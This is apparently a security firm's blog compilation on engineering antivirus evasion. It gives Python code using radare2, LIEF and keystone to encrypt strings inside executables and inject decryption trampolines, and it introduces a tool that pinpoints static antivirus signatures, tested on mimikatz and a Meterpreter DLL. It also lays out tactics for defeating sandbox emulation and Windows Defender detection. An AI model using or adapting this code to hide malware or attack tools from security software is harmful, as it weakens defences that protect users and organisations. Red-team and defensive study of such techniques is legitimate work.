Engineering antivirus evasion (Part III)

Previous blog posts addressed the issue of static artefacts that can easily be caught by security software, such as strings and API imports:

This one provides an additional layer of obfuscation to target another kind of detection mechanism used to monitor a program’s activity, i.e userland hooks.

Continue reading Engineering antivirus evasion (Part III)

Statically encrypt strings in a binary with Keystone, LIEF and radare2/rizin

In our journey to try and make our payload fly under the radar of antivirus software, we wondered if there was a simple way to encrypt all the strings in a binary, without breaking anything. We did not find any satisfying solution in the literature, and the project looked like a fun coding exercise so we decided it was worth a shot.

By the end of it, we succeeded partly, and realised that the approach is not directly suited for antivirus evasion, as this tool’s limitations do not allow antivirus bypass on its own. That’s why we then made avcleaner, which operates on source code directly.

Still, the tool presented in this blog posts brings in some binary hacking that we believe might be of some value to the community, and who knows, someone might end up doing something useful with it.

Currently, we plan to use it along another antivirus bypass tool in order to better target the strings to be encrypted.

General idea

Our idea was to encrypt in place all the strings in PE file. To avoid breaking the software, it is obviously mandatory to allow decryption of the string as soon as it is needed. For that to work, one should inject a decryption routine within the binary, and somehow call it when the string is used.

The best approach would be to decompile the binary, locate strings usages and wrap them in a decryption routine. However, frameworks such as ret-dec, rev.ng, mcsema and so on were not mature enough at the time.

In view of that, our solution relies on lief for the binary manipulation, radare2 / rizin for the program analysis, and keystone for code injection.

The process is as follows:

  1. Enumerate and encrypt strings with radare2.
  2. Locate cross-references to each of these strings, also with radare2.
  3. With gcc, build a decryption routine as Position Indepent Code (PIC).
  4. With lief, carve out this decryption routine and inject it in the target binary as a new section.
  5. For each xref, patch the instruction that loads the strings in registers, the stack or whatever.
  6. Insert a call instruction to hijack the execution flow and divert it to the decryption routine.
  7. Return to the original instruction.

These last steps require storing the string’ size and the return address, so we use lief as well to build a kind of jump table.

Here is an artistic diagram for clarity:

Workflow overview

Implementation

This section goes over the implementation details and demonstrates the use of keystone, lief and radare2 to accomplish our goal.

Enumerate strings

Strings can be enumerated with the iz command of radare2.

Encryption

For each recovered string, we should encrypt it in place and build the corresponding jump table (described in the subsequent sections).


def encrypt_strings(binary):

    r2 = r2pipe.open(BINARY+".patch", flags=["-w"])
    all_strings = get_strings(r2)
    previous_block_sz = 0
    nb_encrypted_strings = 0

    for index, string in enumerate(all_strings):
        
        decoded_string = base64.b64decode(string["string"])
        binary = lief.parse(BINARY+".patch") # is this needed?

        # hook the binary where the string is referenced. Skip if the string
        # is used several times.
        can_proceed, original_instruction = patch_xref(binary, string, r2, previous_block_sz)
        
        if not can_proceed:
            continue

        # encrypt the string in .data (or whatever else) section.
        encrypted = encrypt_string(KEY, base64.b64decode(string["string"]).decode()) # convert_encoding(string["type"])
        encoded = base64.b64encode(encrypted.encode()).decode()
        r2.cmd(f"w6d {encoded} @ {string['vaddr']}")

        # prepare the trampoline for the hook.
        # takes care of decrypting the string and resuming the original control flow.
        binary = lief.parse(BINARY+".patch") # is this needed?
        previous_block_sz += add_jump_table_section(binary, r2, string, previous_block_sz, original_instruction[0]) # TODO handle > 1 opcodes
        nb_encrypted_strings += 1

    logging.info(f"Successfully encrypted {nb_encrypted_strings}/{len(all_strings)} strings!")

The “encryption algorithm” for this Proof-of-Concept is actually a simple Vigenere:D, but you can roll your own crypto obviously. Luckily for us, antivirus can be fooled with Vigenere, so let’s not waste time on this.

Patch the cross-reference

Get cross-references

Cross-references to strings can be obtained with r2pipe’s axt command. Appending a j to the command and then using cmdj allows to get the result in the JSON format, and then automatically parse it with Python.


# patch the instruction that originally references the string
# this allows to decrypt beforehand, so as no to alter the 
# program's behavior.    
xrefs = radare_pipe.cmdj(f"axtj @ {string['vaddr']}")
original_instruction = None

# For now, several XREFS to the same strings is an unhandled
# case, for simplicity.
if len(xrefs) > 1:

    logging.warning(f"Skipping string \'{string['string']}\' because more than 1 XREF was found")
    return False, original_instruction

# no xref found
elif len(xrefs) < 1:
    logging.warning(f"Skipping string \'{string['string']}\' because less than 1 XREF could be found")
    return False, original_instruction

To simplify things, we do not handle strings with many xrefs although that’s definitely doable.

Disassemble the original instruction

xref = xrefs[0]

# corner cases that can't be handled right for now
if not xref["opcode"].startswith("lea"):

    logging.warning(f"Skipping string \'{string['string']}\'. Unhandle opcode {xref['opcode']}\'")
    return False, original_instruction

location = xref["from"]

# store original instruction information
original_instruction = radare_pipe.cmdj(f"aoj @ {location}")
switch_address = binary.get_section(TRAMPOLINE_SECTION).virtual_address

Insert the hook

# LIEF creates new sections for PE with virtual_address relative to image base.
if g_is_pe:
    binary_base_address = radare_pipe.cmdj("ij")['bin']['baddr']  

jmp_destination = binary_base_address+switch_address - location + previous_block_sz # displacement between the original instruction and the switch section
assembly = f"call {hex(jmp_destination)}"
tmp_encoding, _ = ks.asm(assembly) # assemble

# oh I like dirty hacks
res = ""
for i in tmp_encoding:
    if i < 10:
        res += "0" + str(hex(i))[2:]
    else:
        res += str(hex(i))[2:]
    
res += "9090" # 2 NOP so that we have the same number of bytes making up the new instruction.
radare_pipe.cmd(f"wx {res} @ {hex(location)}")

Build the jump table

First, we need to create a new section in the target binary. The section should be big enough to hold information about each identified string.

Insert a new section


section = lief.PE.Section(TRAMPOLINE_SECTION)
section.characteristics = lief.PE.SECTION_CHARACTERISTICS.CNT_CODE | lief.PE.SECTION_CHARACTERISTICS.MEM_READ | lief.PE.SECTION_CHARACTERISTICS.MEM_EXECUTE

section.content = [0x90 for i in range(SZ_BLK_PER_STRING * nb_strings)] # placeholder
section = original_binary.add_section(section)

Then, we use keystone to assemble the hook instructions, but let’s go over the process step-by-step.

Trampoline

Assembly

Our trampoline should look as follows:

lea rdi, str.offset1 ; load the string
mov r12, label1 ; or EIP+len(next_instruction)
jmp decrypt_section ; absolute jmp # end of decrypt section will jmp on r12
label1:
pop rax ; original instruction pointer
jmp rax

However, this does not account for the calling convention of the target binary, and sadly there are too many variations to cover. We thus decided to only support 64-bit ELF and PE files as a first step.

This sets up the parameters required by the decryption routine, the actual call and then the return to the original instruction. With that out of the way, let us define the blueprint for this trampoline. For a PE file, our actual trampoline would actually be:

assembly = ["push rcx\npush rdx\npush rax\nlea rcx, [rip{}]\n", #offset_to_str, sign to be included
"mov rdx, {}\n", #str_size
"lea rax, [rip{}\n", #offset_to_decrypt_section
"call rax\n",
"pop rax\npop rdx\npop rcx\n",
"lea rdi, [rip{}]\n",# offset_to_str2 
"ret"]  

Collect virtual addresses

string_offset = string["vaddr"]
section = binary.get_section(TRAMPOLINE_SECTION)
binary_base_address = 0

if g_is_pe:
    binary_base_address = radare_pipe.cmdj("ij")['bin']['baddr']

new_data_address = binary.get_section(".data").virtual_address
new_decrypt_address = binary.get_section(DECRYPT_SECTION).virtual_address
new_text_address = binary.get_section(".text").virtual_address

Load the string in rdi


# load string in rdi
offset_to_str = hex(binary_base_address+section.virtual_address-string_offset)

# the execution flow can either be diverted upwards or downwards
offset_to_str = adjust_signedness(offset_to_str)

# size of the patch to update the string's offset
crt_ins_size = get_instructions_size(proper_assembly[0], [offset_to_str])
offset_to_str = hex(binary_base_address+section.virtual_address-string_offset+crt_ins_size+previous_block_sz)
offset_to_str = adjust_signedness(offset_to_str)

# put everything together
assembly  = proper_assembly[0].format(offset_to_str)

Load the string

# load string size
str_size = string["length"]
assembly += proper_assembly[1].format(str_size)

Call the decryption routine

# call decrypt_function
sections_offset = section.virtual_address - new_decrypt_address
crt_ins_size = get_instructions_size(assembly + proper_assembly[2], [adjust_signedness(sections_offset)])
offset_to_decrypt_section = hex(sections_offset + crt_ins_size + previous_block_sz)
offset_to_decrypt_section = adjust_signedness(offset_to_decrypt_section)
assembly += proper_assembly[2].format(offset_to_decrypt_section)
assembly += proper_assembly[3]

Load the original instruction and restore the original control flow


# load original instruction
offset_to_str2 = binary_base_address+section.virtual_address-string_offset
offset_to_str2 += get_instructions_size(assembly+proper_assembly[5], [offset_to_str])
offset_to_str2 += previous_block_sz
assert(original_instruction["mnemonic"] == "lea") # todo: handle more cases

Then, it is important to recover the original register used to reference the string, and update its value with the string’s new address:

first_operand = original_instruction["opex"]['operands'][0]

assert(first_operand["type"] == "reg")
dest_reg = first_operand["value"]
assembly += f"lea {dest_reg}, [rip{adjust_signedness(offset_to_str2)}]\n"

Now, it is simply a matter of returning to the original instruction. The final code can be assembled with keystone.

# return to original instruction
assembly += proper_assembly[-1]
encoding, _ = ks.asm(assembly)

Update the binary with these patches

current_content = section.content[:previous_block_sz]
section.content = current_content + encoding

# write the new binary to disk
binary.write(BINARY+".patch")

Generate the decryption routine

Binary carving and code injection

The goal here to locate the decryption routine previously generated and carve it out, and then inject it into the target binary.

To carve it out, we will use symbols to locate the function by its name. For ELF files, the lief API get_static_symbol did the job, wheras it did not work for PE files. No worries though, using radare2 it is almost as easy. Then, lief offers the API get_content_from_virtual_addresss, which allows to copy the bytes making up the decryption routine.

def strip_function(name: str, binary: lief.ELF.Binary):

    address = 0 # offset of the function within the binary
    size = 0 # size of the function

    if binary.format == lief.EXE_FORMATS.ELF:
        symbol = binary.get_static_symbol(name)

        address = symbol.value
        size = symbol.size

    # lief does not appear to be able to locate function by name in PE files.
    elif binary.format == lief.EXE_FORMATS.PE:
        
        r2 = r2pipe.open(STUB)
        r2.cmd("aaa")
        all_functions = r2.cmdj("aflj") # enumerate functions as JSON
        matching_functions = []

        for fn in all_functions:

            if name in fn['name']:
                logging.info(f"Found function matching '{name}': {fn}")
                matching_functions += [fn]
        
        if len(matching_functions) > 1:
            logging.warn(f"More than 1 function found with name {name}. Bug incoming.")
        
        address = matching_functions[0]['offset']
        size = matching_functions[0]['size']

    else:
        raise Exception("Unsupported file format")

    function_bytes = binary.get_content_from_virtual_address(address, size)
    return function_bytes, address, size

Then, inject it as follows:


def add_section(original_binary):

    r2 = r2pipe.open(BINARY)
    strings = get_strings(r2)
    nb_strings = len(strings)

    # :(
    if g_is_pe:

        section = original_binary.get_section(".rdata")
        section.characteristics = lief.PE.SECTION_CHARACTERISTICS.MEM_WRITE | lief.PE.SECTION_CHARACTERISTICS.MEM_READ# make the section writable :O
        

        section = lief.PE.Section(DECRYPT_SECTION)
        section.characteristics = lief.PE.SECTION_CHARACTERISTICS.CNT_CODE | lief.PE.SECTION_CHARACTERISTICS.MEM_READ | lief.PE.SECTION_CHARACTERISTICS.MEM_EXECUTE
        content,_,_   = strip_function("decrypt", lief.parse(STUB))

        section.content = content
        section = original_binary.add_section(section)

        # ...

Results in practice

In practice, it is not possible to encrypt 100% of the strings in a binary:

  • Strings identification by the most advanced binary analysis frameworks is incomplete.
  • Cross-references are incomplete.
  • Strings may be declared within arrays, and such scenarios the cross-reference points to the beginning of the array.

So, while we could encrypt around 2000 strings within mimikatz, Windows Defender still detected the binary statically. It’s quite a shame to encrypt that many strings and miss the only 5 strings that actually trigger the detection, mais c’est la vie.

Future work

To improve this tool and allow it to actually circumvent antivirus software, more advanced analysis should be performed on the binary, in order to identify more cross-references and handle scenarios where a cross-reference points to a collection of strings rather than the string directly. There are some treasures in the floss codebase, and probably some of the problems they solved while making their tool could be helpful here as well.

Or, one can embrace the current limitations and only encrypt strings which are definitely going to trigger the antivirus, hoping they are not located within an array ;o

Automatically extracting static antivirus signatures

This blog post accompanies the talk we gave at Insomni’hack 2022. The source code as well as the slides can be found at:

https://github.com/scrt/avdebugger

Introduction

What can we do when a tool that we use during pentest engagements becomes detected by antivirus software?

For a long time, the answer was: use a packer. After a while it was all about making your own “packer” or relying on paid ones. These days however, we encounter more and more security software that perform memory scans, and we are not particularly fan of maintaining several tools, one for antivirus X and one for antivirus Y, etc.

So, as usual we looked for a solution as generic as possible and came up with the tool that is the subject of this blog post. In the meantime, the community came up with similar solutions, but we believe our solution is sufficiently different to still be of some value to the community.

Tooling

Without further ado, our tool is open-sourced on GitHub and can be used as follows:

$ python3 antivirus_debugger.py -h                                                                                                                                                       
usage: antivirus_debugger.py [-h] [-s] [-z] [-f FILE] [-e] [-l LENGTH] [-c SECTION] [-g]

optional arguments:
  -h, --help            show this help message and exit
  -s, --skip-strings    Skip strings analysis
  -z, --skip-sections   Skip sections analysis
  -f FILE, --file FILE  path to file
  -e, --extensive       search strings in all sections
  -l LENGTH, --length LENGTH
                        minimum length of strings
  -c SECTION, --section SECTION
                        Analyze provided section
  -g, --globals         Analyze global variables in .data section

Implementation

This section describes the design choices that were realised along the way and lays out the theory needed to understand why we did it that way.

The usual AV theory

McAfee said in 1988 that the “problem of computer virus is temporary and will be solved in the next 2 years”. Obviously the prediction was off by a few centuries but I think it’s a bit ironic to develop antivirus software, so software that analyse other software, and not know about the Rice theorem. In any case, security software will always struggle to implement an algorithm that discriminates between good or malicious programs without making mistakes, and the theoretical proof of that assertion go back to Turing’s machine, so there is that.

In view of this, all the work we do to circumvent antivirus capitalises on that. Still, some of them can be pretty painful to evade, and that is because they are stacking detection mechanisms.

Here is a diagram of the situation:

As you can see, the poor payload has to go through all these tests in order to survive and be able to express its full potential. Luckily for us, each of these has flaws that we will exploit separately to achieve full remote code execution without detection:

Static detection bypass

Signatures

Remove every identifiable artefacts or merely bypass the static signatures.

Emulation / sandbox execution

Detect the detector and take it for a/several (processor) spin(s), with for instance, an infinite loop. That will teach it, because maybe they don’t know about the Rice theorem but surely they have heard of the halting problem.

Dynamic detection

Well here it gets a little more complicated, but as of 2022 all the concepts are now well documented:

  • Memory scans: remove static artefacts such as strings, constants and API imports.
  • Userland instrumentation: blind the antivirus software by removing its datasource.
  • Kernel-land instrumentation: blend in with the crowd or load your own driver to nuke some kernel object.

An important quote

I was told in school that the best way to produce bug-free software was to “assume nothing” and test “everything”. While I’m very grateful for this lesson since it has served me well ever since, I would like to add that when you’re on the other side and you are facing a software made by someonelse, assume that they did not, in fact, “assume nothing”. Assume that they did not test, that they were lazy or even ignorant of the basis. Then, test your theories.

While I began the research on Windows Defender, the rumours at the time were as follows:

  • “Yeah sure it sucked for a while but recently they added artificial intelligence.”
  • “You can’t have a RWX section because any antivirus will catch that”.

Spoiler: it did not at the time, and it does not today either. I assumed that Windows Defender still sucked, be it in the same way or worse than its competitors, and I assumed that if it was capable of detecting a freshly generated Meterpreter payload wrapped with custom encoders, it had to be because a malicious artefact was glaring in its face, and I set out to find out what it was.

Methodology

When a payload is detected by an antivirus software, there are some quick tests that can be performed to pinpoint the detection mechanisms used (in relation to the schema above).

  • File hash signature: change a byte.
  • Dynamic detection: keep the whole codebase but insert an infinite loop somewhere, so that the program is really benign. If the file is still detected, then the detection happens because the antivirus shortcuts its analysis due to some artefacts statically available. If not, then the detection happens while the payload executes.

If thats’s the case, there is no reason to think it’s more complicated than memory scans or userland hooks, so keep calm and try to eliminate every possibility one by one.

Applying this methodology on Windows Defender soon helped me understand that the detection was most of the times due to static elements, although the scans happened at several levels in the payload’s execution.

The previous blog posts address the dynamic detection issues, and this one solves the problem of static signatures, which is twofold:

  • Sometime rebuilding the payload is more troublesome than just changing the part where the signature is located, especially for complex payloads with lots of dependencies.
  • For Windows Defender alone, we observe new signatures for the payloads we use in a relatively short timeframe. It’s likely they have automated the process on their end, so in response we should probably do the same.

Proof that antivirus are “still early”

Let’s take the side of people who might think antivirus are advanced software and see how AV vendors should implement their algorithm to match these expectations.

Artificial intelligence is magic

Let’s say the antivirus is full sentient and able to predict with IA that a file is malicious without executing it. For that to work, the analyst would need to feed the algorithm thousands of malware and make it look at the artefacts in the executable that could play a role in the program’s behaviour, which are:

  • Executable’ structure: look for anomalies.
  • Imported functions: look for commonly used API for commiting mischief (SetWindowsHookEx for instance)
  • Embedded resources (for instance hidden executable or high entropy binary blobs, which could be encrypted malware waiting to invade the system).
  • Strings

To check that, we just to do some quick tests:

  • The executable’s structure looks off to the antivirus: make it look like a normal executable and re-scan. You don’t need a corrupt PE to evade the antivirus.
  • Imported functions: these are located in the .idata section of a PE file. Remove the section and see if the antivirus still detects the binary.
  • Embedded resources: remove the sections .rsrc and custom ones as well.
  • Strings: remove the .data and .rdata sections.

For each of these tests, if the antivirus still detects the binary, with the same verdict, then it is looking somewhere else, which invalidates the importance of the tested criteria.

If the strings were helpful to the AV, then one can remove them. Strings are for humans, malware don’t need strings.

If the imported functions give out the program’s behaviour, then the AV assumes that a program must declare the API it uses to do its job, and the problem goes away with GetProcAddress and function pointers.

We can go on like this for each of the detected artefacts, the point is that in case the AV looks for static artefacts, then it is not “really” predicting the program’s behaviour, it’s extrapolating and that can easily be broken.

The antivirus just “sees” that your algorithm looks harmful and is doing no good to this world

Ok, fine. For that to work, the antivirus performs a perfect decompilation of the malware, isolates custom functions from library code, and then classifies each as benign and malicious. Notwithstanding the fact that IDA Pro is 30 years old and still requires manual intervention for function identification in complex software should speak for itself, let’s assume the AV is more advanced than the most advanced reverse-engineering framework out there.

To test that, simply carve out the .text section of a binary and replace it in the analysed malware, and then re-scan it. If the antivirus still detects it, then that was not the issue. If not, then you should identify which function triggers the antivirus, and here a simply binary search would work as well. And even then, I would be skeptical that the function actually is the root cause for the detection, I would rather expect that some stack strings and shellcode is embedded in the .text section and is seen by a scanner that does not perform any decompilation. After all, even with IDA Pro’s FLIRT signatures, you have to have the exact library version with the exact compiler’s version and the exact ABI. Similar products or tools face similar issues.

The antivirus emulates the file and sees what it’s doing

Windows defender actually embedds an emulator in mpclient.dll. However, there are more advanced ones publicly available and they don’t work for complex software, so I don’t expect an antivirus to perform better in this field either. But let’s assume they do and simply insert an over-engineered infinite loop at the program’s entry point. The emulator should choke on it and report the file as benign, and then you can capitalise on that to implement an anti-emulator check. If not, they have solved the halting problem and we can all go flip burgers at McDonalds’.

Automate static signatures identification

By now I hope I have convinced you antivirus are enhanced versions of “grep” and you might wonder what to make of it all. The initial approach was rather naive: perform a binary search of the sequence of bytes that could be detected by the antivirus engine. While it certainly provided results, it was suboptimal:

  • This method does not account for the executable file’s structure. If the PE becomes corrupted, the antivirus engine may stop anaylzing it and consider it benign, which produces a false positive in our analysis. To our knowledge, every tool that offers automated signatures identification as of 2022 are simple like that.
  • The approach is insufficiently precise: for optimisation we might decide to implement a minimum length for the sequence of bytes, for instance we chunk the file in parts each time smaller, but never less than 256 bytes. In case the antivirus triggers on a 5-bytes long sequence, we might still be confused about the real signature’s content.
  • The approach is unoptimised: there are 50+ antivirus out there and each are suboptimal in their own way. So, the automated analysis should quickly identify which kind of detection it is.

Enter Antivirus Debugger

To account for all the elements explained above, our algorithm works as follows:

Take a malware and assert that it is detected by the target AV. Without breaking the PE, iteratively zero out each of its sections and look for significant variations in the scan time or signature name.

This test allows to pinpoint a section that, if zeroed out, prevents the antivirus to understand it’s looking at malware, but in case the AV implements a scoring system and there are several signatures spread out across several sections, you will miss them. To fix that, one might want to perform the same method but inverted: zero-out every section, and then iteratively restore sections one by one.

Then, depending on the detected sections, there is a dedicated method to locate the signatures.

Code section

In case the code section is detected, you could either fall back on a binary search of a byte sequences but limited to the boundaries of the code section, or identify functions boundaries and locate the one detected by the AV, and then looking for static data in it.

We never faced this situation so we’ll focus on the other ones.

.data section

By convention, this section holds the global variables for the program. Our analysis implements a heuristic algorithm to enumerate global variables and their size, and then we binary search the results by zeroing out some of them.

.rodata section

In this section there are mainly strings used by the program. Here a binary search capitalising on strings boundaries works quite well.

.rsrc

Did you embedd a big, high entropy blob of data? Then remove it to ensure that it is in fact causing the detection, and then simply hide it with more care.

Others

Fall back on a binary search on raw binary data.

Automated scans

The aforementioned tests require a way to scan binaries several times. So many times that doing it by hand is not desirable. We implemented a custom VirusTotal in our lab on top of VMWare’s vmrun commandline tool, but for Windows Defender there is a better way thanks to taviso and its awesome loadlibrary project.

Implementation

The tool is written in Python and relies on radare2 or rizin with r2pipe for the binary analysis part. Patching can be done with radare2 as well, but due to some bugs we developed an alternative method without dependencies as well.

Global variables identification

Beware that the following method is purely heuristic and is by no mean an accurate way of recovering global variables in software. An accurate algorithm was not necessary to evade the antivirus we were facing so we took the shortcut here.

This analysis is useful when the target antivirus detects something in the .data section. Global variables are expected to be put there by the compiler. To detect most of them, one can argue that it suffices to process cross-references to a given address present in the .data section. Of course that is not always true because it is more complicated than that. Luckily for us this assumption will do just fine for our use case.

With r2pipe, one can extract the XREFS as JSON with the following code:

pipe = r2pipe.open(pe.filename)
pipe.cmd("aaa")
xrefs = pipe.cmdj("axj") # get cross-refs as JSON
xrefs = [x for x in xrefs if x["type"] == "DATA"] # keep only xrefs to data
xrefs = sorted(xrefs, key=lambda x: x["addr"]) # sort by address

Next, to guess the size of each variable, we’ll do another simplification and assume the compiler did not waste any space and that radare2 did not miss any cross-reference (Spoiler: it often misses some), and thus the size of a variable is equal to the address of the next minus the address of the current variable under analysis:

# guess var' size
for index, xref in enumerate(xrefs):

    if index >= len(xrefs) - 1:
        size = 256  # too lazy to handle this edge case
    else:
        size = xrefs[index + 1]["addr"] - xref["addr"]

    vars += [Variable(xref["addr"], size)]

Where Variable is a dataclass defined as follows:

@dataclass(unsafe_hash=True, eq=True, order=True)
class Variable:

    addr: int
    size: int
    paddr:int = 0


    def display(self, pe):

        with open(pe.filename, 'rb') as f:
            f.seek(self.paddr)
            bf = f.read(min(self.size,128))

        logging.info("\n"+hexdump.hexdump(bf, result="return"))

With the code shown above, it is possible to identify variables with a zero size, so one should prepare for that by giving it the next variable’ size.


# fix vars with size 0
for i, var in enumerate(vars):

    for j, var2 in enumerate(vars):
        if i == j:
            continue

        if var.addr == var2.addr:
            if var.size == 0:
                var.size = var2.size

            elif var2.size == 0:
                var2.size = var.size

This produces duplicates, that one can pythonically filter as follows:

# uniq sort
vars_filtered = sorted(list(set(vars)), key=lambda x: x.addr)

Then, the last filtering takes care of variables whose address are outside the .data section boundaries, and once that’s done, each result can be updated with the correct file address with respect to the virtual address:

# only vars in .data section
section = next((sec for sec in pe.sections if sec.name == ".data"), None)
vars_filtered = [x for x in vars_filtered if section.vaddr <= x.addr < section.vaddr + section.vsize]

# guess file address with virtual address
for var in vars_filtered:
    var.paddr = var.addr - section.vaddr + section.addr

Strings identification

Here, r2pipe is also used with izzj, but you should know that it might not provide the same results as other binary analysis software.

pipe = r2pipe.open(filename)
pipe.cmd("aaa") # trigger the whole program analysis
strings = pipe.cmdj("izzj") # find all the strings in every section

string_refs = []

for string in strings:

    if string.get("size") < min_length:
        continue

    # collect
    str_ref = StringRef()
    str_ref.index = string["ordinal"]
    str_ref.paddr = string.get("paddr")
    str_ref.vaddr = string.get("vaddr")
    str_ref.length = string.get("length")
    str_ref.size = string.get("size")
    str_ref.section = string.get("section")
    str_ref.encoding = string.get("type")
    new_encoding = convert_encoding(str_ref.encoding)
    # skip first whitespace
    content = string.get("string").replace("\\\\", "\\")
    str_ref.content = content  # .encode(convert_encoding(str_ref.encoding))
    string_refs += [str_ref]

Parsing a PE’ sections

radare2 offers the command iS to recover information about a PE’ sections:

section_size = 0
section_addr = 0

pipe = r2pipe.open(pe.filename)

# get the sections
sections = pipe.cmdj("iSj")

for section in sections:

    if section.get("size") != 0 and section.get("addr") != 0:
        pe.sections += [
            Section(
                section.get("name"),
                section.get("size"),
                section.get("vsize"),
                section.get("paddr"),
                section.get("vaddr")
            )]
        logging.debug(f"Found section: {pe.sections[-1]}")

Binary patching

In the context of this article, binary patching means zero’ing a sequence of bytes, which is pretty simple:


def hide_bytes(pe, start, length, use_r2=False):
    logging.debug(f"Hiding {length} bytes @ {start}")
    
    if use_r2:
        pipe = r2pipe.open(pe.filename, flags=["-w"])
        replacement = ''.join(random.choice(string.ascii_letters) for i in range(length))
        replacement = base64.b64encode(bytes(replacement, "ascii")).decode()
        pipe.cmd(f"w6d {replacement} @ {start}")
    
    else:
        # for some reasons the code above is buggy with my radare2 version, so here is a workaround
        with open(pe.filename, 'r+b') as f:
            f.seek(start)
            f.write(bytes(''.join(random.choice(string.ascii_letters) for i in range(length)), encoding='ascii'))

It suffices to seek at the correct address and write some zeros. However this gets more complicated with strings of different encodings, so that’s why r2pipe was initially used: strings encodings are collected and every operation on the string inside the binary must account for the string’s encoding. For instance, UTF-8 strings have 2 bytes par character.

This poses a problem when writing the string back in place after the string analysis, but to tackle this problem r2pipe’s ability to write base64-encoded content with a provided encoding saves the day:

def patch_string(filename, str_ref, pipe=None, unmask_only=False, use_r2=True):
    
    if pipe is None:
        pipe = r2pipe.open(filename, flags=["-w"])

    if not str_ref.should_mask:
        replacement = str_ref.content
    elif not unmask_only:
        replacement = ''.join(random.choice(['\x00']) for _ in range(str_ref.length))
        replacement = replacement + '\0'
    else:
        return

    logging.debug(f"Patching {str_ref.content} @ {str_ref.paddr} ({filename})")

    if use_r2:
        eplacement = base64.b64encode(bytes(replacement, convert_encoding(str_ref.encoding))).decode()
        pipe.cmd(f"w6d {replacement} @ {str_ref.paddr}")

    else:
        # weird bug with r2 on macOS. Code below is not correct in all cases but is a workaround
        with open(filename, 'r+b') as f:
            f.seek(str_ref.paddr)
            f.write(bytes(replacement, encoding=convert_encoding(str_ref.encoding)))

The rest of the code is not commented further in this blog post because it comprises binary search algorithms over these artefacts, and interval trees to filter the overlapping results, none of which too complicated to deserve a lengthy explanation.

Example for metsrv.x64.dll

Disclaimer: our metsrv.x64.dll is patched with some goodies to evade other antivirus and with a custom reflective loader, but the signatures identified later on also cause detection in the original one, except there are even higher score artefacts that should be taken care of first.

python3 antivirus_debugger.py -f /tmp/metsrv.x64.dll -g                                                                                                                           
[DEBUG   ][2021-08-28 17:11:47,317][pe_utils.py:134] get_sections() :: Found section: Section(name='.text', size=132096, vsize=135168, addr=1024, vaddr=1820594176, detected=False)
[DEBUG   ][2021-08-28 17:11:47,318][pe_utils.py:134] get_sections() :: Found section: Section(name='.data', size=9728, vsize=12288, addr=133120, vaddr=1820729344, detected=False)
[DEBUG   ][2021-08-28 17:11:47,318][pe_utils.py:134] get_sections() :: Found section: Section(name='.rdata', size=6656, vsize=8192, addr=142848, vaddr=1820741632, detected=False)
[DEBUG   ][2021-08-28 17:11:47,318][pe_utils.py:134] get_sections() :: Found section: Section(name='.pdata', size=5120, vsize=8192, addr=149504, vaddr=1820749824, detected=False)
[DEBUG   ][2021-08-28 17:11:47,318][pe_utils.py:134] get_sections() :: Found section: Section(name='.xdata', size=5632, vsize=8192, addr=154624, vaddr=1820758016, detected=False)
[DEBUG   ][2021-08-28 17:11:47,318][pe_utils.py:134] get_sections() :: Found section: Section(name='.edata', size=512, vsize=4096, addr=160256, vaddr=1820782592, detected=False)
[DEBUG   ][2021-08-28 17:11:47,318][pe_utils.py:134] get_sections() :: Found section: Section(name='.idata', size=8192, vsize=8192, addr=160768, vaddr=1820786688, detected=False)
[DEBUG   ][2021-08-28 17:11:47,318][pe_utils.py:134] get_sections() :: Found section: Section(name='.CRT', size=512, vsize=4096, addr=168960, vaddr=1820794880, detected=False)
[DEBUG   ][2021-08-28 17:11:47,318][pe_utils.py:134] get_sections() :: Found section: Section(name='.tls', size=512, vsize=4096, addr=169472, vaddr=1820798976, detected=False)
[DEBUG   ][2021-08-28 17:11:47,318][pe_utils.py:134] get_sections() :: Found section: Section(name='.reloc', size=512, vsize=4096, addr=169984, vaddr=1820803072, detected=False)
[DEBUG   ][2021-08-28 17:11:53,705][scanner.py: 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp59yh6tr3...
[DEBUG   ][2021-08-28 17:11:53,706][scanner.py: 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:11:53,706][scanner.py: 99] scan() :: EngineScanCallback(): Threat SLFPER:Win32/Meterpreter!ApiRetrieval identified.
[DEBUG   ][2021-08-28 17:11:53,706][scanner.py: 99] scan() :: Threat found
[INFO    ][2021-08-28 17:11:53,921][antivirus_debugger.py:161] global_vars_analysis() :: Applying patches
[INFO    ][2021-08-28 17:11:53,977][antivirus_debugger.py:167] global_vars_analysis() :: Simple check: maybe a single global variable is detected
[DEBUG   ][2021-08-28 17:11:55,183][pe_utils.py:324] detect_data() :: [Variable(addr=1820729376, size=4608, paddr=133152), Variable(addr=1820733984, size=32, paddr=137760), Variable(addr=1820734016, size=32, paddr=137792), Variable(addr=1820734048, size=32, paddr=137824), Variable(addr=1820734080, size=32, paddr=137856), Variable(addr=1820734112, size=608, paddr=137888), Variable(addr=1820734720, size=289, paddr=138496), Variable(addr=1820735009, size=111, paddr=138785), Variable(addr=1820735120, size=16, paddr=138896), Variable(addr=1820735136, size=32, paddr=138912), Variable(addr=1820735168, size=992, paddr=138944), Variable(addr=1820736160, size=2016, paddr=139936), Variable(addr=1820738176, size=32, paddr=141952), Variable(addr=1820738208, size=32, paddr=141984), Variable(addr=1820738240, size=160, paddr=142016), Variable(addr=1820738400, size=32, paddr=142176), Variable(addr=1820738432, size=32, paddr=142208), Variable(addr=1820738464, size=128, paddr=142240), Variable(addr=1820738592, size=96, paddr=142368), Variable(addr=1820738688, size=4, paddr=142464), Variable(addr=1820738692, size=4, paddr=142468), Variable(addr=1820738696, size=4, paddr=142472), Variable(addr=1820738700, size=4, paddr=142476), Variable(addr=1820738704, size=4, paddr=142480), Variable(addr=1820738708, size=12, paddr=142484), Variable(addr=1820738720, size=192, paddr=142496), Variable(addr=1820738912, size=96, paddr=142688), Variable(addr=1820739008, size=16, paddr=142784), Variable(addr=1820739024, size=16, paddr=142800), Variable(addr=1820739040, size=16, paddr=142816), Variable(addr=1820739056, size=2576, paddr=142832)]
[DEBUG   ][2021-08-28 17:11:55,183][pe_utils.py:331] print_global_variables() :: Found 4608 bytes variable @ 0x6c862020:
[DEBUG   ][2021-08-28 17:11:55,184][pe_utils.py:335] print_global_variables() ::
00000000: 09 00 00 00 00 00 00 00  D0 13 84 6C 00 00 00 00  ...........l....
00000010: 00 00 00 00 00 00 00 00  00 00 01 00 00 00 00 00  ................
00000020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
